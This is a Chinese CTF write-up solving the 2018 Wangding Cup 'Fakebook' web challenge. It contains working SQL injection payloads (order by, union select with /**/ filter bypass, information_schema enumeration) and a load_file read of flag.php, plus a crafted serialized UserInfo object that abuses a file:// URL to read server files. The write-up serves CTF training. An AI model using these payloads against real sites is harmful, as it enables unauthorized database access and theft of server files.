刷题记录(1)-[网鼎杯 2018]Fakebook
刷题记录(1)-[网鼎杯 2018]Fakebook
刷题遇到一个感觉还挺有意思的一道
进去之后先是一个Fakebook的页面,一个登陆一个加东西,先扫一下目录看看有没有什么能用的
不知道为什么拿dirsearch扫全是429状态,然后试了下robots.txt发现有一个/user.php.bak
那么把这个.bak文件先搞下来
1 |
|
命名一个UserInfo类,定义三个属性name、age和blog,从url中创建 SimpleXMLElement 对象。通过get获得指定的URL,设置curl 参数,并将指定URL的内容返回,只要返回内容不为404即可。对输入的blog进行正则匹配。
接下来join一个抓包看一下这个name、age、blog、是用来干嘛的
放包join成功,有一个username下的aaa可以点
点进去之后是这样的网址:http://b580c66d-4c0b-405c-830c-882b770a3b10.node5.buuoj.cn:81/view.php?no=1
那么猜测会不会是SQL注入
有报错 SQL注入无疑。
当order by 4的时候还是正常显示,将4改成5,有报错
说明有4个字段,再试下union select
这里有过滤,那么用/**/替换空格试试
没有问题,继续注入
把1换成-1
ok,回显在2,那么就可以在这个位置进行注入,看了别的师傅的wp,知道flag在/var/www/html/flag.php这里,那么有一个想法就是直接用load_file来进行文件读取
1 | ?no=0/**/union/**/select/**/1,load_file("/var/www/html/flag.php"),3,4# |
右键查看源代码就可以拿到flag了
另一种方法就是反序列化了
我们继续往下注入,前面我们已经拿到数据库名,接下来拿表名
1 | ?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"# |
然后找表的字段
1 | ?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"# |
我们一开始注册的时候no=1
username和passwd也都知道,那么我们来查一下data字段的信息
1 | ?no=2 union/**/select 1,group_concat(username,passwd,data),3,4 from users where no=1# |
是一串序列化后的UserInfo对象,这个data字段刚好对应着第四个字段,当我们传入no=1的时候,页面代码下会有一个iframe标签,里面有base64格式的数据
这个就是我们之前join的www.baidu.com
那么我们是否可以在第四个字段构造一个序列化数据让他反序列化出来我们想要的flag.php呢
1 |
|
1 | ?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'# |
再base64解码一下
拿到flag